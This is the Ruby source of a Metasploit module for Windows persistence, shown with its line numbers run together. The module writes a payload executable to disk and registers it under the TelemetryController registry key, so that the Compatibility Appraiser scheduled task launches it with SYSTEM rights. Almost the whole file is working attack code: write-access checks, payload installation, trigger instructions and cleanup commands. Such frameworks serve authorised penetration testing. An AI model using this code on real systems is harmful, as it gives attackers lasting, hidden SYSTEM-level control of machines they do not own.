Path: blob/master/modules/exploits/windows/persistence/telemetry.rb
59979 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::Powershell9include Msf::Post::Windows::Registry10include Msf::Post::File11include Msf::Exploit::EXE12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Windows Telemetry Persistence',20'Description' => %q{21This persistence mechanism installs a new telemetry provider for windows. If telemetry is turned on,22when the scheduled task launches, it will execute the telemetry provider and execute our payload23with system permissions.24},25'License' => MSF_LICENSE,26'Author' => [27'h00die',28],29'Platform' => [ 'win' ],30'SessionTypes' => [ 'meterpreter' ],31'Targets' => [32[ 'Automatic', {} ]33],34'References' => [35['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],36['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],37['URL', 'https://pentestlab.blog/2023/11/06/persistence-windows-telemetry/']38],39'DefaultTarget' => 0,40'DisclosureDate' => '2023-11-06',41'Notes' => {42'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],43'Stability' => [CRASH_SAFE],44'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]45}46)47)4849register_options([50OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),51OptString.new('NAME', [false, 'Name of the telemetry program. Random string as default.']),52])53end5455def regkey56'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController'57end5859def writable_dir60d = super61return session.sys.config.getenv(d) if d.start_with?('%')6263d64end6566def check67return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')6869vprint_good('Powershell detected on system')7071# Check if the scheduled task is enabled (aka it has a next run time)72# determine if we have Appraiser or Appraiser Exp, its not clear when the change happened, but my windows 11 uses Exp and windows 10 doesn't73['Microsoft Compatibility Appraiser Exp', 'Microsoft Compatibility Appraiser'].each do |appraiser_name|74@appraiser_name = appraiser_name75@next_run_time = cmd_exec(%(schtasks /query /tn "\\Microsoft\\Windows\\Application Experience\\#{appraiser_name}" /fo list /v))76break unless @next_run_time.include? 'ERROR'77end78print_status("Appraiser name found: #{@appraiser_name}")79@next_run_time = begin80@next_run_time.match(/Next Run Time:\s+(.+?)\r/)[1]81rescue StandardError82nil83end84return Msf::Exploit::CheckCode::Safe('Scheduled task for telemetry is disabled') if @next_run_time.strip.end_with?('N/A')8586print_good("Next scheduled runtime: #{@next_run_time.strip}")8788# test write to see if we have access89rand = Rex::Text.rand_text_alpha((rand(6..13)))9091vprint_status("Checking registry write access to: #{regkey}\\#{rand}")92return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{regkey}\\#{rand}") if registry_createkey("#{regkey}\\#{rand}").nil?9394registry_deletekey("#{regkey}\\#{rand}")9596Msf::Exploit::CheckCode::Vulnerable('Registry writable')97end9899def install_persistence100payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))101payload_exe = generate_payload_exe102payload_pathname = writable_dir + '\\' + payload_name + '.exe'103vprint_good("Writing payload to #{payload_pathname}")104fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)105106telemetry = datastore['NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))107108print_status("Using telemetry id: #{telemetry}")109registry_createkey("#{regkey}\\#{telemetry}")110registry_setvaldata("#{regkey}\\#{telemetry}", 'Command', "cmd /c start \"\" \"#{payload_pathname}\"", 'REG_SZ')111registry_setvaldata("#{regkey}\\#{telemetry}", 'Nightly', 1, 'REG_DWORD')112113print_good 'Persistence installed! Call a shell immediately using '\114"'schtasks /run /tn \"\\Microsoft\\Windows\\Application Experience\\#{@appraiser_name}\"' (SYSTEM)" \115' or CompatTelRunner.exe (user)'116print_line(" or wait till #{@next_run_time} (SYSTEM)")117118@clean_up_rc = %(execute -f cmd.exe -a "/c reg delete \\\"#{regkey}\\#{telemetry}\\\" /f" -H\n)119@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"120end121end122123124